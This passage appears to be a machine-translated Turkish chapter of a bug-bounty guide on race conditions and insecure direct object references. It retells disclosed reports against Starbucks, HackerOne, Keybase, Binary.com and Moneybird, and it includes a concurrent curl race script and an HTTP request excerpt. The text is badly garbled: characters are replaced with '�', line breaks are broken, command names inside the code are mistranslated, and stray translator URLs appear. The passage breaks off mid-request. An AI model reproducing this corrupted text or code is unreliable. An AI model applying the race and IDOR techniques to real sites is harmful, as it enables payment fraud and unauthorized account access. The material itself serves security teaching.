INSERTS, kayıtlarda olduğu g�b� değ�şt�r�lecek kayıtlara bakacak zaman gec�kmes� olmadığı anlamına gel�r.
UPDATE sorguları. Ancak, bu yaklaşımı kullanmak uygulamanızdan ber� her zaman kolay değ�ld�r.
B�r tablodak� en son kayıtlara dayanacak şek�lde tasarlanmış olması gerek�r;
veya mümkün olmayab�l�r. B�r s�te zaten yoğun b�r şek�lde kullanılıyorsa, b�r uygulamayı tekrar yazmak ve
Bu yaklaşımı kullanmak �ç�n ver�tabanı tasarımı, değer�nden daha fazla sorun olab�l�r.

İk�nc�s�, ver�len b�r �şlem �ç�n b�r tabloda yalnızca b�r kaydın bulunması durumunda,
B�r s�par�ştek� ödemeler g�b� (�k� kez ödemek �stemezs�n�z), yarış koşulları olab�l�r
ver�tabanında benzers�z b�r d�z�n �le ele. D�z�nler b�r programlama konsept�d�r
yapılandırılmış b�r ver� set�ndek� kayıtları tanımlamaya yardımcı olmak �ç�n kullanılır; onları daha önce gördük
d�z�ler� tartışırken bölümler. Ver�tabanlarında, d�z�nler hızlandırmaya yardımcı olmak �ç�n kullanılır
sorgular (bunun nasıl yapıldığına da�r detaylar b�z�m amaçlarımız �ç�n öneml� değ�ld�r)
�k� alanda benzers�z b�r d�z�n oluşturmak, ver�tabanı aynı komb�ne karşı koruyacak
değerler �k� kez eklen�yor. Yan�, s�par�ş ödemeler� olan b�r e-t�caret s�ten�z varsa
order_�d ve �şlem_�d�n� �çeren �k� sütun �çeren tablo, bunlara benzers�z b�r d�z�n ekl�yor
�k� sütun, h�çb�r yarış koşulunun,
Aynı s�par�ş / �şlem komb�nasyonu. Ancak, bu çözüm yalnızca
B�r ver�tabanı tablosundak� her �şlem �ç�n b�r kayıt bulunan senaryolar �ç�n geçerl�d�r.

Son olarak, yarış koşulları k�l�tlerle ele alınab�l�r. Bu programat�k b�r kavramdır
d�ğer �şlemler�n yapamaması �ç�n bel�rl� kaynaklara er�ş�m� kısıtlayan (veya k�l�tleyen)
er�ş onlara. Bu, başlangıç   koşullarına er�ş�m� kısıtlayarak yarış koşullarına yönel�kt�r.
güvenl�k açığını tanıtmak �ç�n gerekl�. Örneğ�n, paramızı aktarırken
Ver� tabanı, başka b�r transfer başlatırken hesap bak�yes�ne er�ş�m� k�l�tled�
�steğ�n, bak�ye serbest bırakılıncaya kadar beklemes� gerek�r (ve muhtemelen güncellend�)
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başka b�r transfer gerçekleşt�r. Bu, �k� �stek aktarma olasılığını ele alacaktır
var olmayan b�r m�ktar. Bununla b�rl�kte, k�l�tleme karmaşık b�r kavramdır ve



Bu k�tabın kapsamı ve yanlış şek�lde başka �şlevsel hatalar oluşturma
s�te kullanıcıları. Aşağıdak� üç örnek, yarış koşullarının olduğu gerçek örnekler� göstermekted�r.
böcek ödül programlarına karşı sömürüldü.

Örnekler

1. Starbucks Yarış Koşulları

Zorluk : Orta

URL : Starbucks.com

Rapor Bağlantısı : http://sakur�ty.com/blog/2015/05/21/starbucks.html1

Rapor Tar�h� : 21 Mayıs 2015

Ödemel� Ödül : 0 TL

Tanım :

Blog yazısına göre, Egor Homakov, her b�r� değer�nde üç Starbucks hed�ye kartı aldı
5 $. Starbucks'ın web s�tes�, kullanıcılara hed�ye kartlarını hesaplara bağlamak �ç�n �şlevsell�k sağlar
bak�yeler�, para transfer�n� vb. kontrol ed�n. Kötüye kullanım transfer potans�yel�n� tanıma
Para, Egor olayları denemeye karar verd�.

Blog gönder�s�ne göre, Starbucks bu güvenl�k açığını önleme g�r�ş�m�nde bulundu.
tahm�n etme), aktarma talepler�n� durumsal yaparak, tarayıcı �lk önce b�r POST yapar.
hang� hesabın transfer ed�ld�ğ�n� ve hang�s�n�n aldığını bel�rleme �steğ�;
kullanıcının oturumuna b�lg�. İk�nc� talep �şlem� onaylayacak ve
oturumu yok et.

Bunun teor�k olarak güvenl�k açığını haf�fletmes�n�n neden� yavaş �şlemd�r.
Kullanıcı hesaplarına bakmak ve transfer �şlem�nden önce mevcut bak�yeler� onaylamak
para zaten tamamlanacak ve sonuç �k�nc� seansta kayded�ld�
adım.

Ancak, ger� alınamayan Egor, �k� oturumun kullanılab�leceğ�n� ve tamamlanab�leceğ�n� kabul ett�.
b�r adım �k� adımın gerçekleşmes�n� bekl�yor, aslında para transfer ed�yor. İşte sahte
yayınında paylaştığı kod:

1 http://sakur�ty.com/blog/2015/05/21/starbucks.html
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# Her �k� oturumda da transfer detaylarını hazırla
kıvırmak starbucks / step1 -H << Çerez: sess�on = sess�on1 >> --data << m�ktar = 1 & den = duvar \

ET1 & �ç�n = wallet2 >>

kıvırmak starbucks / step1 -H << Çerez: sess�on = sess�on2 >> --data << m�ktar = 1 & den = duvar \
ET1 & �ç�n = wallet2 >>

#send $ 1 '� aynı anda her �k� seansı kullanarak m-cüzdan1'den m-cüzdan2'ye

curl starbucks / step2? onayla -H << Çerez: sess�on = sess�on1 >> & curl starbucks / st \
ep2 onayla -H << Çerez: sess�on2 >> &

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://sakurity.com/blog/2015/05/21/starbucks.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://sakurity.com/blog/2015/05/21/starbucks.html


Bu örnekte, �lk �k� kıvrılma �fades�n�n oturumları alacağını göreceks�n�z.
son adım2'y� çağırır. & Kullanımı bash komutunu çalıştırmak �ç�n bash komutunu ver�r.
Böylece, �k�nc�s�n� çalıştırmadan önce �lk �şlem�n b�tmes�n� beklemey�n.

Bütün bunlar, Egor’un altı denemes�n� aldı (neredeyse beş�nc� denemeden sonra neredeyse pes ed�yordu).
sonuç; hed�ye kartı 1’den 5’l�k �k� transfer
hed�ye kartı 2 (5 dolarlık başlangıç   bak�yes�, 5 dolarlık �k� transfer) ve hed�ye kartı 3 �ç�n 5 dolar.

Ş�md�, b�r konsept kanıtı oluşturmak �ç�n b�r adım daha �ler� g�den Egor, yakındak� b�r Starbucks'u z�yaret ett�.
ve Starbucks’a ver�lecek makbuzu kullanarak 16 dolarlık b�r alım yaptı.

çıkarımlar

Yarış koşulları, bazen var olab�lecek �lg�nç b�r güvenl�k açığı vektörüdür
uygulamaların para, kred� g�b� b�r tür denge �le uğraştığı yerlerde,
Güvenl�k açığını bulmak her zaman �lk denemede olmaz ve
b�rkaç eşzamanlı tekrarlanan �steklerde bulunma gerekt�ren. İşte, Egor altı yaptı
başarılı olmadan önce �stekler ve sonra g�tt� ve onaylamak �ç�n b�r satın alma yaptı
kavramın kanıtı.

2. HackerOne'ı Kabul Etmek B�rden Çok Kez Davet Ed�yor

Zorluk : Düşük

URL : hackerone.com/�nv�tat�ons/INVITE_TOKEN

Rapor Bağlantısı : https://hackerone.com/reports/1193542

Rapor Tar�h� : 28 Şubat 2016

Ödemel� Ödül : Swag

Tanım :

HackerOne yetk�s�z er�ş�me �z�n vereb�lecek her türlü hata �ç�n 10 b�n dolarlık b�r ödül sunuyor
g�zl� hata açıklamaları. Canın sen� kandırmasına �z�n verme, kanıtlaman gerek. Bugüne kadar,

2 https://hackerone.com/reports/119354
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h�ç k�mse bu kategor�ye g�ren geçerl� b�r hata b�ld�rmed�. Ama bu ben� durdurmadı
Şubat 2016’da �st�yorum.

HackerOne'un �şlevsell�ğ�n� araştırırken, b�r k�ş�y� rapora davet ett�ğ�n�zde farkett�m
veya ek�p, bu k�ş� ek�be katılmak �ç�n b�r url bağlantısı �çeren b�r e-posta aldı.
yalnızca b�r davet bel�rtec� �çer�yordu. Şunun g�b� olurdu:

https://hackerone.com/�nv�tat�ons/fb36623a821767cbf230aa6fcddcb7e7 .

Ancak, davet aslında davet ed�len e-posta adres�ne bağlı değ�ld�.
herhang� b�r e-posta adres� olan herkes kabul edeb�l�r (bu zamandan ber� değ�şm�şt�r).

Bunu kötüye kullanmanın ve potans�yel olarak davet ed�lmed�ğ�m b�r rapora veya takıma katılmanın yollarını araştırmaya başladım.
ben de (k� �şe yaramadı) ve bunu yaparken de bu sembolün sadece olması gerekt�ğ�n� fark ett�m.
b�r kez kabul ed�leb�l�r, yan�, yalnızca b�r rapora veya programa katılab�l�yorum
hesabı. Aklımda, sürec�n şöyle b�r şey olacağını düşündüm:

1. Sunucu �steğ� alır ve bel�rtec� ayrıştırır.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/119354
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/119354


2. Bel�rteç ver�tabanında aranır.
3. Bulduktan sonra, hesabım ben� ek�be veya rapora ekleyecek şek�lde güncellen�r
4. Bel�rteç kaydı ver�tabanında güncellen�r, böylece tekrar kabul ed�lemez

Gerçek süreç olup olmadığını b�lm�yorum ama bu tür �ş akışı yarışı destekl�yor
b�rkaç nedenden ötürü güvenl�k açıklarını sorun:

1. B�r kayda bakma ve ardından kodlama mantığı üzer�nde hareket etme sürec� yaratır
süreçte b�r gec�kme. Arama, olması gereken ön koşullarımızı tems�l ed�yor.
B�r sürec�n başlatılması �ç�n b�r araya geld�. Bu durumda, kodlama mantığı çok uzun sürerse,
�k� �stek alınab�l�r ve ver�tabanı aramaları y�ne de
gerekl� koşullar, yan�, davet henüz 4. adımda geçers�z kılmamış olab�l�r.

2. Ver�tabanındak� kayıtların güncellenmes�, ön koşul ve
sonuç arıyoruz. Ver�tabanına eklerken veya yen� kayıtlar oluştururken
heps� an�d�r, kayıtları güncellemek ver�tabanına bakmayı gerekt�r�r
aradığımız rekoru bulmak �ç�n masa. Ş�md�, ver�tabanları �ç�n opt�m�ze ed�lm�ş
Bu tür faal�yetler, yeter�nce kayıt yapıldığında, yeter�nce yavaşlamaya başlayacaklar.
Saldırganların, ırk koşullarını kötüye kullanma gec�kmes�nden yararlanab�leceğ� bel�rt�ld�.

İşlem�n arama, hesabımı güncelleme ve davet�yey� güncelleme �şlem�n�n veya # 1 olduğunu düşündüm.
Yukarıda HackerOne'da var olab�l�r, bu yüzden manuel olarak test ett�m. Bunu yapmak �ç�n b�r san�ye oluşturdum ve
üçüncü hesap (b�z onlara kullanıcı A, B ve C d�yoruz). A kullanıcısı olarak b�r program hazırladım ve davet ett�m.
kullanıcı B. Sonra çıkış yaptım. E-postadan davet URL's�n� aldım ve B Kullanıcısı olarak g�r�ş yaptım.
mevcut tarayıcım ve Kullanıcı C'y� özel b�r tarayıcıda (oturum açmak �ç�n gerekl�
Davet et).
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Sonra, �k� tarayıcıyı ve onaylama düğmeler�n� sıraya koydum, böylece üstler�ne yaklaştılar.
b�rb�rler�, öyle:



HackerOne Yarış Koşullarını Davet Ed�yor

Sonra, her �k� düğmey� de olab�ld�ğ�nce çabuk tıkladım. İlk denemem yapmadı
Bu, yen�den B kullanıcısını kaldırmak �ç�n can sıkıcı eylemden geçmek zorunda kalmam anlamına gel�yordu.
davet vb. Ancak �k�nc� g�r�ş�m başarılı oldum ve �k� programım vardı
b�r davet�yeden.

Sorunu HackerOne'a b�ld�r�rken, raporumda okuyab�leceğ�n�z g�b�,
Bunun, b�r saldırganın hurdaya ayırması �ç�n fazladan zaman sağlayab�lecek b�r güvenl�k açığı olduğunu düşündüm.
Kurban programından bu yana hang� rapor / ek�b�n katıldığı hakkında b�lg�
programlarına katılan �k� rastgele kullanıcı �ç�n kafa kaşıma anı ve
�k� hesap kaldırmak zorunda. Bana göre her san�ye bu durumda öneml�.
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çıkarımlar

Bu kırılganlığı bulmak ve kullanmak gerçekten çok eğlencel�yd�;
düğmelere tıklamak zorunda kaldığımdan ber� kend�mle ve HackerOne platformuyla
çok hızlı. Ancak benzer güvenl�k açıklarını bel�rlemeye çalışırken
Yukarıda tanımladığım adımların altına düşeb�lecek durumlar �ç�n
b�r ver�tabanı araması, kodlama mantığı ve b�r ver�tabanı güncellemes�. Bu senaryo borç vereb�l�r
kend�s�n� b�r yarış durumu güvenl�k açığı �ç�n.

Ek olarak, test�n�z� otomat�kleşt�rmen�n yollarını arayın. Neyse k� ben�m �ç�n mümkün oldu
Bunu pek çok g�r�ş�mde bulunmadan başarmak �ç�n ancak muhtemelen sonra pes olurdu
4 veya 5, kullanıcıları sınama ve her test �ç�n davet�yey� yen�den gönderme gereğ� ver�r.

3. Keybase Davet�ye Sınırlarını Aşmak

Zorluk : Düşük

URL : https://keybase.�o/_/ap�/1.0/send_�nv�tat�ons.json

Rapor Bağlantısı : https://hackerone.com/reports/1150073

Rapor Tar�h� : 5 Şubat 2015

Ödemel� Ödül : 350 $

Tanım :

B�lg�sayar korsanlığı yaparken, b�r s�ten�n sayı �ç�n açık b�r sınırı olduğu fırsatları arayın.
Bu örnektek� davet�yeler g�b� gerçekleşt�rmen�ze �z�n ver�len bel�rl� eylemler�n
b�r s�par�şe �nd�r�m kuponu uygulayab�leceğ�n�z sayı, kullanıcı sayısı
B�r ek�p hesabına vb. ekleyeb�l�rs�n�z.

Keybase cep telefonları ve b�lg�sayarlar �ç�n ve ne zaman başlatıldıkları �ç�n b�r güvenl�k uygulamasıdır.
s�teler�nde, kayıt sağlayarak kaydolab�lecekler� k�ş�ler�n sayısını sınırladılar

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/115007


Üç davetl� kullanıcılar, b�r Keybase'e HTTP �steğ� �le başlatıldı. Jos�p Franjkov�Ä
Bu davranış benzer nedenlerle b�r yarış durumu �ç�n savunmasız olab�leceğ�n� kabul
�lk örnekte açıklandığı g�b�; Keybase davet etme �steğ�n� alıyordu.
b�r kullanıcının davet ed�p etmed�ğ�n� görmek �ç�n ver�tabanını kontrol eden başka b�r kullanıcı, bel�rteç oluşturma,
e-postayı gönderme ve kalan davet sayısını azaltma.

Test etmek �ç�n Jos�p https://keybase.�o/account/�nv�tat�ons adres�n� z�yaret ett�, b�r e-posta adres� g�rd�.
ve davet gönder�ld�. Burp g�b� b�r araç kullanarak, muhtemelen bu �steğ� davets�z m�saf�re yolladı.
Bu, kullanıcıların b�r ekleme noktası tanımlayarak tekrarlayan testler� otomat�kleşt�rmeler�n� sağlar.
HTTP �steğ� ve her �stekle y�nelenecek yükler�n bel�rt�lmes�,
ekleme noktasına taşıma kapas�tes�. Bu durumda, b�rden fazla e-posta bel�rtecekt�.
adresler� ve her �stek aynı anda heps� gönder�lecekt�.

3 https://hackerone.com/reports/115007
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Sonuç olarak, Jos�p kullanıcı başına 3 davet sınırını aşarak 7 kullanıcıyı davet edeb�ld�.
Keybase sorunu çözerken hatalı tasarımı onayladı ve açıkladı
davet�ye �steğ�n� �şleme koymadan önce b�r k�l�t alarak güvenl�k açığını g�derd�
ve davet gönder�ld�kten sonra yayınlanacak.

çıkarımlar

Bu tür yarış koşullarını kabul etmek ve ödemek,
b�r s�teye �z�n ver�l�r, b�r programın öncel�kler�, �şlevsell�ğ� ve r�sk�ne bağlıdır
prof�l. Bu durumda, Keybase muhtemelen bunu dened�ğ� �ç�n kabul ett�
Bunun atladığı s�telere kayıtlı kullanıcı sayısını yönetmek.
Bu, davet �şlevsell�ğ� �çeren tüm hata ödül programları �ç�n geçerl� değ�ld�r.
HackerOne �le göster�ld�ğ� g�b�, daha önce ele alınan davet örneğ�d�r. Eğer
benzer b�r şey b�ld�r�rken, raporunuzun neden olması gerekt�ğ�n� açıkça bel�rtt�ğ�n�zden em�n olun.
b�r güvenl�k açığı olarak kabul ed�lmek.

4. HackerOne Ödemeler�

Zorluk : Düşük

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/2204454

Rapor Tar�h� : 12 N�san 2017

Ödemel� Ödül : 1000 Dolar

Tanım :

Yarış koşullarından yararlanmaya çalışırken, b�r s�ten�n �şled�ğ� fırsatlara bakın
arka plandak� ver�ler, gerçekleşt�rd�ğ�n�z eylemlerle �lg�s�z veya gec�kmel�
ödemeler� yapma, e-posta gönderme veya nerede
gelecektek� b�r eylem planlamak.

2016 baharında, HackerOne b�r araya gelerek ödeme s�stemler�nde değ�ş�kl�k yaptı.
PayPal ödeme yapıldığı sırada korsanlara tek b�r ödemede ver�len ödüller
�şlemc�. Daha önce, günde üç ödül aldıysanız, üç
HackerOne'dan ödemeler. Değ�ş�kl�kten sonra, toplam tutarı �le b�r tane alırsınız.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/115007
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/220445


2017 yılının N�san ayında, J�gar Thakkar bu �şlev� test ett� ve mümkün olduğunu kabul ett�.
ödemeler� çoğaltmak �ç�n yen� �şlevsell�ktek� yarış koşullarından yararlanın. Başlarken
ödeme �şlem�, HackerOne b�r e-posta adres� başına ödül aldı.
bunları b�r araya get�r�p, taleb� PayPal'a gönderd�. Burada ön şart aranıyor
ema�l adres�. J�gar, �k� b�lg�sayar korsanının aynı PayPal e-posta adres�ne sah�p olması durumunda

4 https://hackerone.com/reports/220445
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Kayıtlı, HackerOne bu e-posta �ç�n ödemeler� tek b�r ödemede b�rleşt�r�r
adres. Ancak, bu b�lg�sayar korsanlarından b�r� komb�nasyondan sonra PayPal adres�n� değ�şt�rd�yse
ancak HackerOne, taleb� PayPal'a göndermeden önce, götürü ödeme
�lk e-posta adres� ve yen� e-posta adres� y�ne de ödenecek. Muhtemelen bu
çünkü PayPal’a yapılan �stek, ödemeler�n tümü ödenmem�ş olarak �şaretlend�.
yapılmış. İşlem�n ne zaman yapıldığını b�lmek zorunda olduğunuzdan, bu davranışı kullanmak zordu.
başlatılıyordu ve yaptıysanız, e-postayı değ�şt�rmek �ç�n yalnızca b�rkaç san�yen�z vardı
adresler�.

Bu örnek, HackerOne'un gec�km�ş �şlem �şler�n� kullanması neden�yle d�kkat çek�c�d�r ve
kontrol zamanına karşı kullanım süres�. Bazı web s�teler�n� kullandığınızda kayıtları günceller
etk�leş�me göre. Örneğ�n, HackerOne hakkında b�r rapor gönderd�ğ�n�zde, b�r
E-posta gönderd�ğ�n�z takıma gönder�lecek, ek�b�n �stat�st�kler� güncellenecek ve
yakında. Bununla b�rl�kte, bazı �şlevler b�r HTTP'ye yanıt olarak hemen gerçekleşmez
�stek, ödemeler g�b�.

HackerOne, s�ze hemen para göndermek yer�ne, artık ödüller� b�rleşt�rd�ğ�nden
ödül aldığınızda, HackerOne'un b�r arkaplan �ş� kullanması mantıklı gel�yor.
sana borçlu olduğu parayı arar, b�rleşt�r�r ve PayPal'dan transfer taleb�nde bulunur.
Arka plan �şler�, kullanıcının HTTP �steğ�nden başka b�r tet�kley�c� tarafından başlatılır ve
s�teler çok fazla ver� �şlemeye başladığında sıkça kullanılır. Bu yapmaz çünkü
HTTP �stekler�ne yanıt olarak tüm s�te eylemler�n� başlatmak ve kullanıcıları beklemek �ç�n
Sunucudan b�r HTTP yanıtı almadan önce �şlem tamamlandı. Ne zaman sen
raporunu gönder, sunucu sana b�r HTTP yanıtı gönderecek ve b�r arka plan yaratacak
ek�b�ne raporun hakkında e-posta gönderme �ş�. B�r ek�p s�ze ödül verd�ğ�nde ödemelerde de aynı
kelle, ödeme makbuzunu alacaklar, ancak parayı gönderecekler.
daha sonra tamamlanması gereken b�r arka plan �ş�ne.

Arka plan �şler� ve ver� �şleme, yarış koşulları �ç�n öneml�d�r, çünkü bunlar
Kontrol koşulları (kontrol zamanı) ve gerçekleşt�rme arasında b�r gec�kme olab�l�r.
eylemler (kullanım zamanı). B�r s�te yalnızca b�r şey eklerken koşulları kontrol ed�yorsa
arkaplan �şlemes� ancak gerçekte kullanıldığı zaman değ�l
B�r yarış durumuna yol açab�l�r. Bu durumda, aynı e-posta adres�n� kontrol ederken
ödemeler�, e-posta adres�n�n o zaman h�ç değ�şmed�ğ�n� kontrol etmeden b�rleşt�rmek
ödeme veya kullanım.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/220445
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çıkarımlar

B�r s�tey� kullanırken, z�yaret ett�kten sonra ver�ler� �y� �şled�ğ�n� fark edersen�z
S�te, muhtemelen ver�ler� �şlemek �ç�n b�r arka plan �ş� kullanıyor. Bu b�r kırmızı bayrak
S�ten�n etk�l� olup olmayacağını görmek �ç�n �ş� tanımlayan koşulları test etmel�s�n�z
esk� olanlara karşı yen� koşullar. Bu örnekte, HackerOne �d�
b�r e-posta adres�n�n ödemeler�n� bel�rl� b�r para göndermeye karşı b�rleşt�rmek
e-ma�l adresler�. Davranışı arka plandan ber� �y�ce test ett�ğ�n�zden em�n olun.
�şleme bağlı olarak çok çabuktan uzun zamana kadar her yerde olab�l�r.
kaç �ş�n tamamlanması �ç�n kuyruğa alındı   ve s�ten�n yaklaşımı
Ver� �şlen�yor.

özet

B�r s�te herhang� b�r zamanda, bazı koşulların doğru olmasına bağlı olarak eylemlerde bulunur;
gerçekleşt�r�len eylem sonucunda değ�ş�kl�k, her zaman b�r şansı var
gel�şt�r�c�ler yarış koşullarını hesaba katmadı. Bu tür �ç�n uyanık olmak
B�r s�teye ne zaman ve ne zaman gerçekleşt�rmen�z �ç�n �z�n verd�ğ�n�z sınırlı �şlemlerle �lg�l�
arka planda eylemler� �şl�yor. Bu tür güvenl�k açığı genell�kle �l�şk�lend�r�l�r
koşullar çok çabuk değ�ş�yor, bazen neredeyse anında
b�r şey savunmasızdır, davranıştan yararlanılması �ç�n b�rden fazla g�r�ş�mde bulunab�l�r.
Israrcı olun ve b�r programın kazanamayacağı b�r �ht�mal varsa, güçlü b�r gerekçe ekley�n
Keşfed�len yarış durumunuzu �st�smar etmen�n c�dd� b�r güvenl�k açığı olduğunu düşünün.
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18. Güvens�z Doğrudan Nesne Referansları

Açıklama

Saldırganın yapab�leceğ� b�r güvens�z doğrudan nesne başvurusu (IDOR) güvenl�k açığı oluşuyor
dosya, ver�tabanı kaydı, hesap g�b� b�r nesneye yapılan bazı referanslara er�şmek veya bunları değ�şt�rmek,
vb aslında onlara er�ş�lemez olmalıdır. Örneğ�n,
Özel prof�ll� b�r web s�tes�nde hesabınızı z�yaret etmek �ç�n www.s�te.com/user=123 adres�n� z�yaret edeb�l�rs�n�z .
Ancak, www.s�te.com/user=124 adres�n� dened�ysen�z ve er�ş�m hakkınız varsa , bu s�te
IDOR hatalarına karşı savunmasız sayılab�l�r.

Bu tür güvenl�k açığını tesp�t etmek, kolaydan zorlanmaya kadar uzanır. En temel benzer
Sağlanan k�ml�ğ�n bas�t b�r tam sayı olduğu yukarıdak� örneğe göre,
s�teye yen� kayıtlar (veya yukarıdak� örnektek� kullanıcılar) eklenm�şt�r. Yan� bunun �ç�n test
sonuçları kontrol etmek �ç�n k�ml�ğe 1 eklenmes� veya çıkarılmasını �çer�r. Kullanıyorsanız
Burp, Burp Intruder'e b�r �stek yükleyerek �steğ� yükleyerek bunu otomat�kleşt�reb�l�rs�n.
K�ml�k numarasını g�r�n ve ardından b�r adım atarak, başlangıç   ve b�t�ş değerler�n� �çeren sayısal b�r l�ste kullanın.

Bu tür b�r test� çalıştırırken, farklı bel�rtenler� değ�şt�ren �çer�k uzunluklarını arayın.
cevaplar �ade ed�l�yor. Başka b�r dey�şle, b�r s�te savunmasız değ�lse,
Aynı �çer�k uzunluğuna sah�p b�r tür er�ş�m redded�ld� �let�s�n� almak.

İşler�n daha zor olduğu yer, b�r s�te kend� nesneler�ne referansları g�zlemeye çalıştığında olur
rastgele tanımlayıcılar, böyle evrensel benzers�z tanımlayıcılar g�b� şeyler kullanan referanslar
(Uuıdler�n). Bu durumda, ID, 36 karakterl�k b�r alfa sayısal d�ze olab�l�r.
tahm�n etmek �mkansız. Bu durumda çalışmanın b�r yolu �k� kullanıcı prof�l� oluşturmak ve geç�ş yapmaktır.
Nesneler� test eden bu hesaplar arasında. Yan�, kullanıcı prof�ller�ne er�şmeye çalışıyorsanız
a UUID, prof�l�n�z� A Kullanıcısı �le oluşturun ve ardından Kullanıcı B �le bu prof�le er�şmeye çalışın
UUID'� tanıdığından ber�.

UUID'ler tarafından tanımlanan fatura k�ml�kler�, seyahatler vb. G�b� bel�rl� kayıtları test ed�yorsanız,
yukarıdak� örneğe benzer şek�lde, bu kayıtları A Kullanıcısı olarak oluşturmayı ve ardından er�şmey� deney�n.
prof�ller� arasındak� geçerl� UUID'ler� b�ld�ğ�n�zden ber� bunları B Kullanıcısı olarak kullanab�l�rs�n�z. Er�şeb�l�yorsanız
nesneler, bu b�r sorun ama k�ml�klerden bu yana aşırı ş�ddetl� değ�l (�st�sna dışında)
36 karakter, rastgele d�zelerd�r. Bu, heps�n� ama tartışılmaz kılar. Heps� kayıp değ�l
rağmen.

Bu noktada b�r sonrak� adım, UUID'n�n sızdırıldığı b�r alan bulmaya çalışmaktır. Örneğ�n,
Ek�p tabanlı b�r s�tede, B kullanıcısını ek�b�n�ze davet edeb�l�r m�s�n�z, öyleyse sunucu mu
UUID'lere kabul etmeden önce cevap ver�yor mu? S�teler�n sızdırdığı tek yol bu
Uuıdler�n. D�ğer durumlarda, b�r prof�l� z�yaret ederken sayfa kaynağını kontrol ed�n. Ara sıra
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s�teler, oluşturulan tüm kayıtları da �çeren kullanıcı �ç�n b�r JSON blob'u �çerecekt�r
onlar tarafından hassas UUID'ler� sızdırıyorlar.



Bu noktada, b�r sızıntı bumasanız b�le, bazı s�teler bu güvenl�k açığını g�der�r
b�lg� duyarlıdır. Etk�y� bel�rlemek ve açıklamak s�ze kalmıştır.
neden bu konunun ele alınması gerekt�ğ�ne �nanıyorsunuz?

Örnekler

1. B�nary.com Ayrıcalık Yükselmes�

Zorluk : Düşük

URL : b�nary.com

Rapor Bağlantısı : https://hackerone.com/reports/98247 1

Rapor Tar�h� : 14 Kasım 2015

Ödemel� Ödül : 300 $

Tanım :

Bu gerçekten çok fazla açıklama gerekt�rmeyen bas�t b�r güvenl�k açığıdır.

Temelde, bu durumda, b�r kullanıcı herhang� b�r hesaba g�r�ş yapab�l�r ve hassas
saldırıya uğramış kullanıcı hesabı ve hesabın adına
gerekl�, kullanıcının hesap k�ml�ğ�n� b�lmekt�.

Hack�ng'ten önce, B�nary.com/cash�er’a g�r�ş yaptıysanız ve sayfa HTML’y� kontrol ett�ysen�z,
PIN parametres� �çeren b�r <�frame> et�ket� görürsünüz. Bu parametre
aslında hesap k�ml�ğ�n�z.

Ardından, HTML’y� düzenled�ysen�z ve başka b�r PIN ekled�ysen�z, s�te otomat�k olarak
ş�frey� veya başka herhang� b�r �şlem� onaylamadan yen� hesapta �şlem yapmak
k�ml�k b�lg�ler�. Başka b�r dey�şle, s�te s�ze hesabınızın sah�b� olarak davranır
az önce sağladı.

Y�ne, gerekl� olan tek şey b�r�n�n hesap numarasını b�lmekt�. Sen b�le
�frame'de gerçekleşen olayı, b�r ödeme �şlem� başlatmak üzere PAYOUT olarak değ�şt�r�n.
başka b�r hesap Ancak, B�nary.com tüm para çekme �şlemler�n�n el �le yapılması gerekt�ğ�n� bel�rt�r
İnsan �ncelemes� ancak bu mutlaka yakalanab�leceğ� anlamına gelm�yor

1 https://hackerone.com/reports/98247
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çıkarımlar

K�ml�k doğrulamaya dayalı güvenl�k açıkları arıyorsanız, aramaya devam ed�n
K�ml�k b�lg�ler�n�n b�r s�teye geç�r�ld�ğ� yer. Bu güvenl�k açığı yakalanırken
Sayfa kaynak koduna bakarak b�lg�ler� de fark etm�ş olab�l�rs�n�z.
Proxy önley�c� kullanıldığında geç�r�l�yor.

B�r tür k�ml�k b�lg�s� �let�ld�ğ�n� tesp�t edersen�z, not almadıklarında not alın.
ş�frel� görün ve onlarla oynamaya çalışın. Bu durumda, p�m sadece CRryl�c �d�
Ş�fre 0e552ae717a1d08cb134f132 �ken
ş�fre �ken ş�frel�. Ş�frelenmem�ş değerler güzel b�r alanı tems�l eder.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/98247
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/98247


�le oynamaya başlayın.

2. Moneyb�rd Uygulaması Oluşturma

Zorluk : Orta

URL : https://moneyb�rd.com/user/appl�cat�ons

Rapor Bağlantısı : https://hackerone.com/reports/1359892

Rapor Tar�h� : 3 May 2016

Ödemel� Ödül : 100 $

Tanım :

Mayıs 2016'da Moneyb�rd'ü güvenl�k açıkları �ç�n test etmeye başladım. Bunu yaparken test etmeye başladım
kullanıcı hesap �z�nler�, Hesap A �le b�r �şletme oluşturma ve ardından davet etme
�k�nc� b�r kullanıcı, Hesap B'ye sınırlı �z�nlerle hesaba katılmak �ç�n. Eğer değ�lsen�z
platformlarını b�ld�kler�nde, eklenen kullanıcılar bel�rl� roller ve �z�nlerle sınırlı olab�l�r,
sadece faturalar, tahm�nler, bankacılık vb. dah�l. Bunun b�r parçası olarak, tam �z�nl� kullanıcılar
ayrıca her b�r� kend� OAuth’u olan uygulamalar oluşturab�l�r ve API er�ş�m�n� etk�nleşt�reb�l�r
�z�nler (veya OAuth l�ngo'dak� kapsamlar). Dolu b�r uygulama oluşturmak �ç�n formu gönderme
�z�nler şuna benz�yordu:

2 https://hackerone.com/reports/135989
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POST / kullanıcı / uygulamalar HTTP / 1.1
Ev sah�b� : moneyb�rd.com

Kullanıcı Aracısı : Moz�lla / 5.0 (W�ndows NT 6.1; rv: 45.0) Gecko / 20100101 F�refox / 45.0

Kabul et : met�n / html, uygulama / xhtml + xml, uygulama / xml; q = 0.9, * / *; q = 0.8
Kabul D�l� : en-ABD, en; q = 0.5

Kabul-Kodlama : gz�p, deflate, br

DNT : 1
Hakem : https://moneyb�rd.com/user/appl�cat�ons/new

Çerez : _moneyb�rd_sess�on = XXXXXXXXXXXXXXX; trusted_computer =

Bağlantı : yakın
İçer�k Türü : uygulama / x-www-form-urlencoded

İçer�k Uzunluğu : 397

